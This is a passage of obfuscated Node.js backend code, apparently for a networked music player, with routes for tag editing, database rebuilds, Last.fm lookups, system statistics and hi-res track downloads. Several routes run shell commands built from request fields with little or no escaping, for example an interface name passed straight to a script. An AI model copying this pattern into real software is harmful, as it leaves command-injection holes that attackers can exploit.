_0x5ebfb6=_0x1e636c[_0x364203(0x29c)][_0x364203(0x22a)],_0xe8b059=_0x1e636c['body'][_0x364203(0x441)],_0x118f78=_0x1e636c['body'][_0x364203(0x501)],_0x389834=_0x1e636c[_0x364203(0x29c)]['song_or_album'],_0x262f53=_0x5ebfb6[_0x364203(0x445)];if('both'==_0x118f78){var _0x22bb26={};_0xe8b059['forEach'](function(_0x256a23){_0x22bb26[_0x256a23['field']]=_0x256a23['val'];});var _0x149085=require(_0x364203(0x569));_0x364203(0x4c2)==_0x389834?(_0x149085['writeTagsSync'](_0x5ebfb6[_0x364203(0x445)],_0x22bb26),_0x5ebfb6[_0x364203(0x445)][_0x364203(0x45d)](_0x364203(0x446))&&(_0x262f53='/data/'+_0x5ebfb6[_0x364203(0x445)][_0x364203(0x457)](_0x364203(0x446)['length']),fs[_0x364203(0x4ed)](_0x262f53)&&_0x149085[_0x364203(0x347)](_0x262f53,_0xe8b059))):g_lib_engine['findAlbumSongs'](_0x5ebfb6[_0x364203(0x551)],_0x5ebfb6[_0x364203(0x479)],_0x5ebfb6[_0x364203(0x445)],function(_0x4200e9){var _0x4d0042=_0x364203,_0x54d455=_0x4200e9[_0x4d0042(0x1f8)];async['eachLimit'](_0x54d455,0x1,function(_0x275988,_0x265c5a){var _0x4421f9=_0x4d0042;_0x149085[_0x4421f9(0x347)](_0x275988[_0x4421f9(0x445)],_0x22bb26),_0x275988[_0x4421f9(0x445)][_0x4421f9(0x45d)](_0x4421f9(0x446))&&(_0x262f53=_0x4421f9(0x56e)+_0x5ebfb6[_0x4421f9(0x445)][_0x4421f9(0x457)]('/data/Music/E_CACHE/'[_0x4421f9(0x5c4)]),fs[_0x4421f9(0x4ed)](_0x262f53)&&_0x149085['writeTagsSync'](_0x262f53,_0xe8b059)),_0x265c5a();});});}g_lib_engine[_0x364203(0x26c)](_0x5ebfb6,_0x262f53,_0xe8b059,_0x389834,function(_0x30a635){var _0x50ba16=_0x364203;respHandlers[_0x50ba16(0x4ce)](_0x30a635,_0x42a1cb);}),_0x5ebfb6['path'][_0x364203(0x45d)](_0x364203(0x446))&&(_0x262f53=_0x364203(0x56e)+_0x5ebfb6[_0x364203(0x445)][_0x364203(0x457)]('/data/Music/E_CACHE/'[_0x364203(0x5c4)]),fs[_0x364203(0x4ed)](_0x262f53)&&g_lib_engine['changeTags'](_0x5ebfb6,_0x262f53,_0xe8b059,_0x389834,function(_0x3a8ef8){}));}},'/rebuild-db':{'post':function(_0xc9082c,_0x5cec56){var _0x1e7234=_0x2db473;utils[_0x1e7234(0x45a)](_0x1e7234(0x41a)),fs['unlink'](_0x1e7234(0x24a),function(_0x1ec9d6){var _0x196c79=_0x1e7234;_0x1ec9d6?respHandlers[_0x196c79(0x1fe)](_0x196c79(0x4ac)+_0x1ec9d6['message'],_0x5cec56):(respHandlers[_0x196c79(0x1fe)](_0x196c79(0x4c8),_0x5cec56),client['getDBMgmt']()[_0x196c79(0x48b)](function(){client['updateMusicDatabase']();}));});}},'/lastfm':{'post':function(_0x590528,_0x1b1a53){var _0x1db1e5=_0x2db473,_0x4d265d=_0x590528[_0x1db1e5(0x29c)][_0x1db1e5(0x22d)],_0x348f0e=_0x590528[_0x1db1e5(0x29c)][_0x1db1e5(0x515)];_0x1db1e5(0x5a5)==_0x4d265d?g_lastfm_api[_0x1db1e5(0x5a5)](_0x348f0e,function(_0x474e79){var _0x3ddde3=_0x1db1e5;respHandlers[_0x3ddde3(0x4ce)](_0x474e79,_0x1b1a53);}):_0x1db1e5(0x245)==_0x4d265d?g_lastfm_api[_0x1db1e5(0x245)](_0x348f0e,function(_0x4165f4){respHandlers['sendAsJson'](_0x4165f4,_0x1b1a53);}):_0x1db1e5(0x41f)==_0x4d265d?g_lastfm_api['getTrackInfo'](_0x348f0e,function(_0x270e73){respHandlers['sendAsJson'](_0x270e73,_0x1b1a53);}):_0x1db1e5(0x29f)==_0x4d265d&&g_lastfm_api[_0x1db1e5(0x29f)](_0x348f0e,function(_0x19c552){var _0x22eea8=_0x1db1e5;respHandlers[_0x22eea8(0x4ce)](_0x19c552,_0x1b1a53);});}},'/rc':{'get':function(_0x2bb704,_0x38d0da){utils['log']('Remote control'),rc(_0x38d0da);}},'/spectrum':{'post':function(_0xaeeb25,_0x2baf95){var _0x3c34ce=_0x2db473,_0xca4b7c;if(_0xaeeb25[_0x3c34ce(0x29c)]['path']){_0xca4b7c=decodeURIComponent(_0xaeeb25[_0x3c34ce(0x29c)][_0x3c34ce(0x445)]);var _0x127621=sanitize(decodeURIComponent(_0xaeeb25[_0x3c34ce(0x29c)][_0x3c34ce(0x326)]),'_'),_0x4eea28=sanitize(decodeURIComponent(_0xaeeb25[_0x3c34ce(0x29c)]['album']),'_'),_0x2eb503=sanitize(decodeURIComponent(_0xaeeb25['body'][_0x3c34ce(0x248)]),'_'),_0xe38902=getRealCachePath(_0x127621,_0x4eea28),_0x5701ca=_0xe38902+sanitize(_0x2eb503)+_0x3c34ce(0x55b),_0x2337a6=_0x3c34ce(0x59e)+encodeURIComponent(_0x127621)+'/'+encodeURIComponent(_0x4eea28)+'/'+encodeURIComponent(sanitize(_0x2eb503))+_0x3c34ce(0x55b),_0x909cd1=_0x3c34ce(0x24e)+_0xe38902+_0x3c34ce(0x522)+_0xca4b7c[_0x3c34ce(0x30e)](/([`$])/g,_0x3c34ce(0x4a9))+_0x3c34ce(0x45f)+_0x5701ca+'" -y';utils[_0x3c34ce(0x45a)](_0x909cd1),shell[_0x3c34ce(0x513)](_0x909cd1,function(_0x223c91,_0xf87cf5){var _0x3375cf=_0x3c34ce;0x0==_0x223c91?respHandlers[_0x3375cf(0x1fe)](_0x2337a6,_0x2baf95):respHandlers[_0x3375cf(0x1fe)]('',_0x2baf95);});}else respHandlers[_0x3c34ce(0x1fe)]('',_0x2baf95);}},'/enable-server':{'post':function(_0x3a8851,_0x42882f){var _0xba1ca2=_0x2db473,_0x5eaf70=_0x3a8851[_0xba1ca2(0x29c)][_0xba1ca2(0x33a)],_0x3a7b34=_0x3a8851[_0xba1ca2(0x29c)]['server'];_0x5eaf70&&(utils[_0xba1ca2(0x45a)](_0xba1ca2(0x357)+_0x3a7b34),_0x3a7b34[_0xba1ca2(0x45d)](_0xba1ca2(0x363))?(config['server']=_0x3a7b34,config[_0xba1ca2(0x2ed)]=0x1,fs['writeFileSync'](_0xba1ca2(0x5af),JSON['stringify'](config,null,'	')),respHandlers[_0xba1ca2(0x1fe)]('Plain Euphony enabled!',_0x42882f)):client[_0xba1ca2(0x369)](_0x3a7b34,_0x5eaf70,function(_0x4966c0){var _0x358232=_0xba1ca2;console['log'](_0x4966c0),'1'==_0x4966c0?(config[_0x358232(0x44d)]=_0x3a7b34,config['enable_server']=0x1,config[_0x358232(0x470)][config[_0x358232(0x44d)]][_0x358232(0x33a)]='',fs[_0x358232(0x3a2)]('/srv/node/mpdweb/config.json',JSON[_0x358232(0x2e9)](config,null,'	')),client[_0x358232(0x561)](),respHandlers[_0x358232(0x1fe)]('Special features enabled!',_0x42882f)):respHandlers[_0x358232(0x1fe)](_0x358232(0x323),_0x42882f);}));}},'/copy_appdata_info':{'get':function(_0x424123,_0x115051){var _0x158fb0=_0x2db473;shell[_0x158fb0(0x513)](_0x158fb0(0x4f8),function(_0x4d5413,_0x5dcdf4){var _0x5d1b84=_0x158fb0,_0x1d40c3=_0x5dcdf4['toString']()[_0x5d1b84(0x5b5)]()[_0x5d1b84(0x4b9)](/\n/);respHandlers[_0x5d1b84(0x4ce)](_0x1d40c3,_0x115051);});}},'/iostat':{'get':function(_0x55dd18,_0x5af3a3){var _0xa70d15=_0x2db473;shell['exec'](_0xa70d15(0x450),function(_0x1be6c2,_0x2bbb49){var _0x5a427d=_0xa70d15,_0x3e76f8=_0x2bbb49[_0x5a427d(0x303)]()['trim']()['split'](/\n/),_0x1e3639=_0x3e76f8[_0x5a427d(0x2a8)](function(_0x422065,_0x3d2604){var _0x5d1cc5=_0x5a427d;return!!(_0x3d2604>0x2&&_0x422065[_0x5d1cc5(0x45d)]('Device'));});-0x1!=_0x1e3639&&(_0x3e76f8=_0x3e76f8['slice'](_0x1e3639-0x1)[_0x5a427d(0x2aa)]('
')),respHandlers[_0x5a427d(0x4ce)](_0x3e76f8,_0x5af3a3);});}},'/ifstat':{'get':function(_0x33c9d8,_0x151860){var _0x31de6b=_0x2db473;shell[_0x31de6b(0x513)](_0x31de6b(0x27f),function(_0x422caa,_0x292319){var _0x2c6dad=_0x31de6b,_0x4f81c4=_0x292319['toString']()[_0x2c6dad(0x5b5)]();respHandlers[_0x2c6dad(0x4ce)](_0x4f81c4,_0x151860);});}},'/getNAA':{'get':function(_0x49a1d9,_0xebd737){var _0x4035c4=_0x2db473;shell[_0x4035c4(0x513)](_0x4035c4(0x3a8),function(_0x4de405,_0x164959){var _0x53f495=_0x4035c4;_0x164959[_0x53f495(0x303)]()['trim']()?getNAANames(function(_0x255f24){var _0x422399=_0x53f495;respHandlers[_0x422399(0x4ce)](_0x255f24,_0xebd737);}):shell[_0x53f495(0x513)]('hqplayerd &> /tmp/hqplayerd2.log &',function(_0x5f0d87,_0x1a16ec){setTimeout(function(){var _0x227d66=_0x4832;shell[_0x227d66(0x513)](_0x227d66(0x30a),{'async':!0x0});},0x7d0),getNAANames(function(_0x49c0b0){respHandlers['sendAsJson'](_0x49c0b0,_0xebd737);});});});}},'/play-disconnected':{'post':function(_0x15bcb7,_0xa48835){var _0x2290af=_0x2db473,_0x38d2ba=_0x15bcb7[_0x2290af(0x29c)][_0x2290af(0x2b5)],_0x42f2bc=Number(_0x15bcb7[_0x2290af(0x29c)][_0x2290af(0x581)]);utils['log'](_0x2290af(0x2f6),_0x38d2ba,'for minutes:',_0x42f2bc),client['getPlayEngine']()[_0x2290af(0x557)]('play',function(_0x4b9954){}),respHandlers[_0x2290af(0x1fe)](_0x2290af(0x3c4),_0xa48835),shell[_0x2290af(0x513)]('/srv/node/mpdweb/ifacedownup.sh '+_0x38d2ba+' '+0x3c*_0x42f2bc+' &',{'async':!0x0});}},'/getOrigCover':{'post':function(_0x176914,_0x1b9952){var _0x1f3f8a=_0x2db473,_0xfb67d7=sanitize(decodeURIComponent(_0x176914['body'][_0x1f3f8a(0x326)]),'_'),_0x15b81b=sanitize(decodeURIComponent(_0x176914['body']['album']),'_'),_0x1f8adb=decodeURIComponent(_0x176914['body'][_0x1f3f8a(0x445)]),_0x48d103=g_origcovers[_0xfb67d7+_0x15b81b+_0x1f8adb['substring'](0x0,_0x1f8adb[_0x1f3f8a(0x209)]('/'))];respHandlers['sendAsJson']({'url':_0x48d103},_0x1b9952);}},'/cdpresent':{'get':function(_0x19f80b,_0x181fd4){var _0x58a2a5=_0x2db473;cdinfo[_0x58a2a5(0x4a3)](_0x19f80b,_0x181fd4);}},'/cdinfo':{'get':function(_0x406ad3,_0x588a6a){var _0x45deb6=_0x2db473;cdinfo[_0x45deb6(0x41e)](_0x406ad3,_0x588a6a);}},'/highresdownload':{'post':function(_0x77fb61,_0x18a9cf){var _0x515f96=_0x2db473,_0xa04f3=_0x77fb61[_0x515f96(0x29c)]['type'],_0x35b560=_0x77fb61[_0x515f96(0x29c)][_0x515f96(0x25b)];if('single'==_0xa04f3){for(var _0x4e2896=0x0;_0x4e2896<g_highres_medialist['length'];_0x4e2896++){if((_0x5f1655=g_highres_medialist[_0x4e2896])[_0x515f96(0x58f)]===_0x35b560){downloadSong(_0x5f1655,function(_0x56b856){var _0x5165b8=_0x515f96;if(_0x56b856){highresMarkDownloaded(g_highres_downloaded),fs[_0x5165b8(0x3a2)](_0x5165b8(0x1fa),JSON['stringify'](g_highres_downloaded,null,'	'));var _0x27d10c=sanitize(_0x5f1655['artist'],'_'),_0x19e54b=sanitize(_0x5f1655[_0x5165b8(0x4bf)],'_');if(!getCoversmap(_0x27d10c,_0x19e54b)){var _0x34a12a=_0x5f1655[_0x5165b8(0x5d4)],_0x4c021a=getRealCachePath(_0x27d10c,_0x19e54b)+_0x5165b8(0x58d);shell['exec'](_0x5165b8(0x5a1)+_0x4c021a+_0x5165b8(0x38b)+encodeURI(_0x34a12a)+'"',function(_0x372d8b,_0x35014b){var _0x363427=_0x5165b8;0x0==_0x372d8b?(setCoversmap(_0x27d10c,_0x19e54b),resizeInPlace(_0x4c021a)):utils[_0x363427(0x45a)](_0x363427(0x4d3)+_0x35014b[_0x363427(0x303)]());});}client[_0x5165b8(0x32b)](_0x5165b8(0x555),_0x5165b8(0x47d)+_0x5f1655[_0x5165b8(0x3e5)]+_0x5165b8(0x517));}});break;}}_0x4e2896<g_highres_medialist['length']?respHandlers[_0x515f96(0x1fe)](_0x515f96(0x422),_0x18a9cf):respHandlers[_0x515f96(0x1fe)](_0x515f96(0x468)+_0x35b560,_0x18a9cf,!0x0);}else{var _0x721f21=0x0;for(_0x4e2896=0x0;_0x4e2896<g_highres_medialist[_0x515f96(0x5c4)];_0x4e2896++){var _0x5f1655;(_0x5f1655=g_highres_medialist[_0x4e2896])[_0x515f96(0x4bf)]!==_0x35b560||_0x5f1655[_0x515f96(0x4f6)]||_0x721f21++;}downloadSongs(0x0,_0x721f21,0x0,_0x35b560,null),respHandlers[_0x515f96(0x1fe)](_0x515f96(0x422),_0x18a9cf);}}}};function getNAANames(_0x1d70e1){var _0xd9b06b=_0x2db473;shell[_0xd9b06b(0x513)]('cat /tmp/hqplayerd.log 2> /dev/null | grep 'name=' | awk '{for(i=1;i<=NF;i++){ if($i ~ "name="){print $i} } }' | sort | uniq',function(_0x7da3a7,_0x2ca6bf){var _0x464cd5=_0xd9b06b,_0x2fa365=[],_0x1444ac=_0x2ca6bf[_0x464cd5(0x303)]()[_0x464cd5(0x5b5)]();_0x1444ac&&_0x1444ac['split'](/\n/)[_0x464cd5(0x38f)](function(_0x4d6b75){var _0x4e82f3=_0x464cd5,_0x19f4fb=_0x4d6b75[_0x4e82f3(0x4b9)]('=')[0x1][_0x4e82f3(0x560)](0x1,-0x1);_0x2fa365[_0x4e82f3(0x28c)](_0x19f4fb);}),_0x1d70e1(_0x2fa365);});}function downloadSongs(_0x12cacd,_0x2d708f,_0x5346fd,_0x59293f,_0xe0a720){var _0x196108=_0x2db473;if(_0x5346fd==_0x2d708f||_0x12cacd>=g_highres_medialist[_0x196108(0x5c4)]){if(highresMarkDownloaded(g_highres_downloaded),fs['writeFileSync'](_0x196108(0x1fa),JSON[_0x196108(0x2e9)](g_highres_downloaded,null,'	')),_0x5346fd>0x0&&_0xe0a720){var _0x376a04=sanitize(_0xe0a720[_0x196108(0x326)],'_'),_0x46423a=sanitize(_0xe0a720[_0x196108(0x4bf)],'_');if(!getCoversmap(_0x376a04,_0x46423a)){var _0x28d95d=_0xe0a720[_0x196108(0x5d4)],_0x2a193b=getRealCachePath(_0x376a04,_0x46423a)+'cover.png';shell[_0x196108(0x513)]('curl -o "'+_0x2a193b+_0x196108(0x38b)+encodeURI(_0x28d95d)+'"',function(_0x812b53,_0x263714){var _0xf6989f=_0x196108;0x0==_0x812b53?(setCoversmap(_0x376a04,_0x46423a),resizeInPlace(_0x2a193b)):utils[_0xf6989f(0x45a)](_0xf6989f(0x4d3)+_0x263714['toString']());});}}_0x5346fd<_0x2d708f?client[_0x196108(0x32b)](_0x196108(0x555),_0x196108(0x31f)+_0x59293f+_0x196108(0x3f0)):client[_0x196108(0x32b)](_0x196108(0x555),'download-progress-finished: Album "'+_0x59293f+_0x196108(0x517));}else{var _0x231e2e=g_highres_medialist[_0x12cacd];_0x231e2e[_0x196108(0x4bf)]!==_0x59293f||_0x231e2e[_0x196108(0x4f6)]?downloadSongs(++_0x12cacd,_0x2d708f,_0x5346fd,_0x59293f,_0xe0a720):downloadSong(_0x231e2e,function(_0x50f03b){var _0x133521=_0x196108;_0x50f03b&&_0x5346fd++,_0x12cacd++,client[_0x133521(0x32b)](_0x133521(0x555),'download-multi-progress:'+Math[_0x133521(0x2e3)](0x1*_0x5346fd/_0x2d708f*0x64)),downloadSongs(_0x12cacd,_0x2d708f,_0x5346fd,_0x59293f,_0x231e2e);});}}function downloadSong(_0x1ce7e5,_0x10c866){var _0x3bd987=_0x2db473;client[_0x3bd987(0x32b)](_0x3bd987(0x555),'download-progress-notice: Downloading track: "'+_0x1ce7e5[_0x3bd987(0x3e5)]+_0x3bd987(0x298)+sanitize(_0x1ce7e5[_0x3bd987(0x4bf)],'_')),g_highres_api[_0x3bd987(0x40a)]({'paidID':_0x1ce7e5[_0x3bd987(0x266)],'formatID':_0x1ce7e5[_0x3bd987(0x582)],'trackID':_0x1ce7e5[_0x3bd987(0x58f)]},function(_0x2e424d){var _0x53f45f=_0x3bd987;if(0x0!=_0x2e424d[_0x53f45f(0x44a)](_0x53f45f(0x57c)))return client[_0x53f45f(0x32b)](_0x53f45f(0x555),_0x53f45f(0x2e8)+_0x1ce7e5[_0x53f45f(0x3e5)]+_0x53f45f(0x24d)+_0x2e424d),void _0x10c866();var _0x334977=_0x53f45f(0x477)+sanitize(_0x1ce7e5[_0x53f45f(0x4bf)],'_'),_0x5eacec=_0x334977+'/'+sanitize(_0x1ce7e5[_0x53f45f(0x3e5)],'-')+' '+_0x1ce7e5[_0x53f45f(0x2d9)]++_0x1ce7e5[_0x53f45f(0x49c)];fs[_0x53f45f(0x4e2)](_0x334977,function(){var _0xa597de=_0x53f45f;utils[_0xa597de(0x45a)]('Copy '+_0x2e424d+_0xa597de(0x460)+_0x5eacec),shell['cp'](_0x2e424d,_0x5eacec),fs[_0xa597de(0x552)](_0x2e424d);}),g_highres_downloaded[_0x1ce7e5['trackID']]=!0x0,_0x10c866(!0x0);},function(_0x32d98c){var _0x20f419=_0x3bd987;client[_0x20f419(0x32b)](_0x20f419(0x555),_0x20f419(0x48d)+_0x32d98c);});}function updateMpd(){var _0x4f8d9f=_0x2db473;g_lib_engine[_0x4f8d9f(0x53f)]();}function compare(_0x4d269b,_0xe25ee4){var _0x207cfd=_0x2db473,_0x3c5a15;for(_0x3c5a15 in _0x4d269b)if(_0x4d269b[_0x207cfd(0x223)](_0x3c5a15)){if(_0x207cfd(0x4d4)!=typeof _0x4d269b[_0x3c5a15]){if(_0x4d269b[_0x3c5a15]===_0xe25ee4[_0x3c5a15])continue;return!0x1;}if(!compare(_0x4d269b[_0x3c5a15],_0xe25ee4[_0x3c5a15]))return!0x1;}else utils['log']('WARNING: no propery: '+_0x3c5a15);return!0x0;}function change(_0x502d8e,_0x43d627){var _0x451f23=_0x2db473,_0x533849;for(_0x533849 in _0x502d8e)_0x43d627[_0x451f23(0x223)](_0x533849)&&('object'==typeof _0x502d8e[_0x533849]?change(_0x502d8e[_0x533849],_0x43d627[_0x533849]):_0x43d627[_0x533849]=_0x502d8e[_0x533849]);}function changeAndAdd(_0x105d9b,_0x131c0f){var _0x5d833e=_0x2db473,_0x39cee7;for(_0x39cee7 in _0x105d9b)_0x105d9b[_0x5d833e(0x223)](_0x39cee7)&&('object'==typeof _0x105d9b[_0x39cee7]?changeAndAdd(_0x105d9b[_0x39cee7],_0x131c0f[_0x39cee7]):_0x131c0f[_0x39cee7]=_0x105d9b[_0x39cee7]);}function findInArray(_0x266161,_0x1ff30b,_0x95f1a6){var _0x12e579=_0x2db473;for(var _0x320696=_0x266161[_0x12e579(0x5c4)],_0x5d94f7=0x0;_0x5d94f7<_0x320696;_0x5d94f7++){var _0x59a987=_0x266161[_0x5d94f7];if(_0x59a987[_0x1ff30b]===_0x95f1a6)return _0x59a987;}return!0x1;}function findIndexInArray(_0x4279d4,_0x294a19,_0x49786b){var _0x309d8c=_0x2db473;for(var _0x1bc038=_0x4279d4[_0x309d8c(0x5c4)],_0x15f683=0x0;_0x15f683<_0x1bc038;_0x15f683++){if(_0x4279d4[_0x15f683][_0x294a19]===_0x49786b)return _0x15f683;}return-0x1;}function remountRO(_0x4846d9){var _0x259d44=_0x2db473;utils[_0x259d44(0x45a)](_0x259d44(0x32a)),++_0x4846d9>0xa||shell[_0x259d44(0x513)](_0x259d44(0x2b9),function(_0x44c41c,_0x2b2ce5){_0x2b2ce5['toString']()['trim']()&&setTimeout(remountRO,0x2710,_0x4846d9);});}function findBestCover(_0x20c93d,_0x508c41,_0x316cd9){var _0x29e589=_0x2db473;for(var _0x20d439=Array(),_0x1362e7=[_0x20c93d['toLowerCase'](),'folder',_0x29e589(0x373),'front',_0x29e589(0x54b),'disc',_0x29e589(0x46c)],_0x2c9e25=0x0;_0x2c9e25<_0x1362e7[_0x29e589(0x5c4)];_0x2c9e25++)for(var _0xfa273f=_0x1362e7[_0x2c9e25],_0x593125=0x0;_0x593125<_0x508c41[_0x29e589(0x5c4)];_0x593125++){if(_0xfa273f===(_0x587226=_0x508c41[_0x593125]['split'](/\//)[_0x29e589(0x5b4)]()[_0x29e589(0x4b9)](/\./)[0x0][_0x29e589(0x31d)]())){if(_0x20d439[_0x29e589(0x5c4)]==_0x316cd9)return _0x508c41[_0x593125];-0x1==_0x20d439[_0x29e589(0x44a)](_0x593125)&&_0x20d439[_0x29e589(0x28c)](_0x593125);}}for(_0x2c9e25=0x0;_0x2c9e25<_0x1362e7[_0x29e589(0x5c4)];_0x2c9e25++)for(_0xfa273f=_0x1362e7[_0x2c9e25],_0x593125=0x0;_0x593125<_0x508c41[_0x29e589(0x5c4)];_0x593125++){var _0x587226;if((_0x587226=_0x508c41[_0x593125][_0x29e589(0x4b9)](/\//)[_0x29e589(0x5b4)]()['split'](/\./)[0x0][_0x29e589(0x31d)]())['includes'](_0xfa273f)||_0xfa273f[_0x29e589(0x597)](_0x587226)){if(_0x20d439['length']==_0x316cd9)return _0x508c41[_0x593125];-0x1==_0x20d439['indexOf'](_0x593125)&&_0x20d439[_0x29e589(0x28c)](_0x593125);}}var _0x2f9d19=_0x20d439[_0x29e589(0x5c4)]?_0x20d439[_0x29e589(0x5c4)]:_0x508c41['length'];return _0x316cd9?_0x316cd9%=_0x2f9d19:_0x316cd9=0x0,_0x20d439[_0x29e589(0x5c4)]?_0x508c41[_0x20d439[_0x316cd9]]:_0x508c41[_0x316cd9];}function getCoverFromLibrary(_0x24a515,_0x5f04eb,_0x500bfc,_0x27a2b2,_0x50dc24,_0x5c7045,_0x5e3be9,_0x213b63){var _0x509dbf=_0x2db473;_0x27a2b2||_0x5e3be9||!g_missingcovers[_0x24a515+_0x5f04eb]?-0x1==_0x500bfc[_0x509dbf(0x44a)]('/')?(g_missingcovers[_0x24a515+_0x5f04eb]=!0x0,fs[_0x509dbf(0x3a2)](getRealCachePath()+_0x509dbf(0x559),JSON[_0x509dbf(0x2e9)](g_missingcovers,null,'	')),_0x27a2b2?getCoverFromCache(_0x24a515,_0x5f04eb,_0x500bfc,_0x27a2b2,_0x50dc24,_0x5c7045,!0x0,_0x5e3be9,_0x213b63):_0x213b63(_0x50dc24,_0x5c7045)):shell[_0x509dbf(0x513)](_0x509dbf(0x352)+_0x500bfc[_0x509dbf(0x30e)](/([`$])/g,_0x509dbf(0x4a9))+_0x509dbf(0x410),function(_0x9219c0,_0x262412){var _0x385435=_0x509dbf;if(0x0!=_0x9219c0)g_missingcovers[_0x24a515+_0x5f04eb]=!0x0,fs['writeFileSync'](getRealCachePath()+_0x385435(0x559),JSON['stringify'](g_missingcovers,null,'	')),_0x27a2b2?getCoverFromCache(_0x24a515,_0x5f04eb,_0x500bfc,_0x27a2b2,_0x50dc24,_0x5c7045,!0x0,_0x5e3be9,_0x213b63):_0x213b63(_0x50dc24,_0x5c7045);else{var _0x4bb20e=_0x262412[_0x385435(0x303)]()[_0x385435(0x5b5)]()[_0x385435(0x4b9)](/\n/);if(_0x4bb20e&&0x0!=_0x4bb20e['length']&&_0x4bb20e[0x0][_0x385435(0x5c4)]>0x0&&_0x4bb20e[0x0][_0x385435(0x45d)](_0x385435(0x3dc))){var _0x308b24=0x0;_0x27a2b2&&(utils[_0x385435(0x45a)](_0x385435(0x1e2)+_0x24a515+' '+_0x5f04eb),g_coversind[_0x24a515+_0x5f04eb]&&(_0x308b24=Number(g_coversind[_0x24a515+_0x5f04eb])),_0x308b24++,g_coversind[_0x24a515+_0x5f04eb]=_0x308b24,fs[_0x385435(0x3a2)](getRealCachePath()+_0x385435(0x4d5),JSON[_0x385435(0x2e9)](g_coversind,null,'	')));var _0x57098a=findBestCover(_0x5f04eb,_0x4bb20e,_0x308b24);g_origcovers[_0x24a515+_0x5f04eb+_0x500bfc[_0x385435(0x457)](0x0,_0x500bfc['lastIndexOf']('/'))]=_0x57098a[_0x385435(0x457)](0x5),fs[_0x385435(0x3a2)](getRealCachePath()+_0x385435(0x307),JSON[_0x385435(0x2e9)](g_origcovers,null,'	')),shell['exec'](_0x385435(0x24e)+getRealCachePath(_0x24a515,_0x5f04eb)+'"; convert "'+_0x57098a[_0x385435(0x30e)](/([`$])/g,_0x385435(0x4a9))+_0x385435(0x5b6)+getRealCachePath(_0x24a515,_0x5f04eb)+'cover.png"',{'silent':!0x1},function(_0x4a4a51,_0x23486e){var _0x32dde2=_0x385435;0x0!=_0x4a4a51?(utils['log'](_0x32dde2(0x2c2)+_0x24a515+' '+_0x5f04eb+_0x32dde2(0x2ef)+_0x4a4a51+' '+_0x23486e[_0x32dde2(0x303)]()),g_missingcovers[_0x24a515+_0x5f04eb]=!0x0,fs['writeFileSync'](getRealCachePath()+_0x32dde2(0x559),JSON[_0x32dde2(0x2e9)](g_missingcovers,null,'	')),_0x27a2b2?getCoverFromCache(_0x24a515,_0x5f04eb,_0x500bfc,_0x27a2b2,_0x50dc24,_0x5c7045,!0x0,_0x5e3be9,_0x213b63):_0x213b63(_0x50dc24,_0x5c7045)):(fs['writeFileSync'](getRealCachePath()+'missingcovers.json',JSON['stringify'](g_missingcovers,null,'	')),_0x50dc24=setCoversmap(_0x24a515,_0x5f04eb),_0x213b63(_0x50dc24,_0x5c7045));});}else g_missingcovers[_0x24a515+_0x5f04eb]=!0x0,fs[_0x385435(0x3a2)](getRealCachePath()+_0x385435(0x559),JSON['stringify'](g_missingcovers,null,'	')),_0x27a2b2?getCoverFromCache(_0x24a515,_0x5f04eb,_0x500bfc,_0x27a2b2,_0x50dc24,_0x5c7045,!0x0,_0x5e3be9,_0x213b63):_0x213b63(_0x50dc24,_0x5c7045);}}):_0x213b63(_0x50dc24,_0x5c7045);}function getCoverFromCache(_0x4ed049,_0x370744,_0x42b51d,_0x4fcadc,_0x3d78fe,_0x543e94,_0x1c00a4,_0x4f917b,_0x5bddcf){var _0x4e947d;(_0x4e947d=getCoversmap(_0x4ed049,_0x370744))?_0x5bddcf(_0x3d78fe=_0x4e947d,_0x543e94):_0x1c00a4||!_0x42b51d?_0x5bddcf(_0x3d78fe,_0x543e94):_0x42b51d&&-0x1==_0x42b51d['indexOf']('://')?getCoverFromLibrary(_0x4ed049,_0x370744,_0x42b51d,_0x4fcadc,_0x3d78fe,_0x543e94,_0x4f917b,_0x5bddcf):_0x5bddcf(_0x3d78fe,_0x543e94);}function _0x4832(_0x25571c,_0x338378){var _0x486a50=_0x486a();return _0x4832=function(_0x4832b4,_0x2611bb){_0x4832b4=_0x4832b4-0x1e1;var _0x761adc=_0x486a50[_0x4832b4];return _0x761adc;},_0x4832(_0x25571c,_0x338378);}function _0x486a(){var _0x574b1=['simpleCommand','shutdown1 now','missingcovers.json','logs.tar.gz','.png','getPlaylistTracks','roonbridge','cardnum','Account removed from Euphony.','slice','downloadAndCheckProfiles',' >> /data/.appdata/ramroot.log','config','conditions','")" -name "*" | grep -i "\.txt\|\.pdf\|\.jpg\|\.jpeg\|\.png\|\.gif"','err','56mXPcUr','devicenum','node-taglib2','Content-Type: audio/ogg','sq_params','owner','getHQPD','/data/','volume ','/.EUPHONY-MUSIC-BACKUP/data' / > /tmp/progress','writeFile','Background operation is already in progress, please wait for end notification.','./radiotimeapi.js','Sleep ','_need_hqpd','sleep 0.1; cat /sys/devices/system/cpu/cpu0/cpufreq/scaling_cur_freq','picture','Tidal API session obtained','main','response','EUPHONY_SERVICE','/tmp','seekpos','use_upnp','23049dxwctz','./config.json','minutes','formatID','setVolume','count','bridge','StylusEP will be restarted.','Bad Request','du -b -d 0 /data/.cover-art-cache | awk '{print $1}'; du -b -d 0 /data/.appdata/musicdb.sqlite3 | awk '{print $1}'','from','reportIP','highestaudio','total_duration','cover.png','getInfo','trackID','apply','charAt','getUserThing','Roon core & Squeezelite','/.EUPHONY-MUSIC-BACKUP/' / | grep ^data | grep -v EUPHONY-MUSIC-BACKUP | grep -v '/$' > /tmp/rsynclist.txt; cat /tmp/rsynclist.txt | while read file;do   du "/data/','isR2','shelljs','includes','Unable to find stream address','/data/.appdata/youtubeapikey.txt','resourceId','summary','songCount','ethtool ','/cache/','tidal_login','registration','curl -o "','Content-Type: audio/wav','hasFilter','getAudioDeviceById','getAlbumInfo','" > /data/.appdata/checkno.txt','connected','<br>','findAlbumSongs','Song cache disabled. E_CACHE folder and its content removed. ','readdirSync','sampling_rate','Problem! Only ','Existing share directory: '','/srv/node/mpdweb/config.json','youtube','ded','listFiles','Restart StylusEP!','pop','trim','" -scale "300x300^" -gravity center -crop 300x300+0+0 +repage "','IPv4',''. <br>This is not allowed.<br>You must first remove existing link to add this one.','mixer_changed','core-stylus','./respHandlers.js','downloadable','Private video','toggleUpnp ','newname','501 Not implemented','ssid','static_router_ip','httpget','length','./isol.sh ','getRemoteHWParams','Field changed','featured','new:','playlistItems','getArtist','g_origcovers static init error: ','9549885bKXTLT','euphony_version','   Enter correct one.','pos','update-progress:Completing setup...','tran','reboot &','coversmall','Critical disk error! Disk checking and fixing in progress... Do not turn off the device!','env','media_number','Content-Type: audio/x-aiff','K is available on share: ','get next cover for: ','Unable to retrieve medialist','saveQueueAsPlaylist','album_desc','sleep 5; 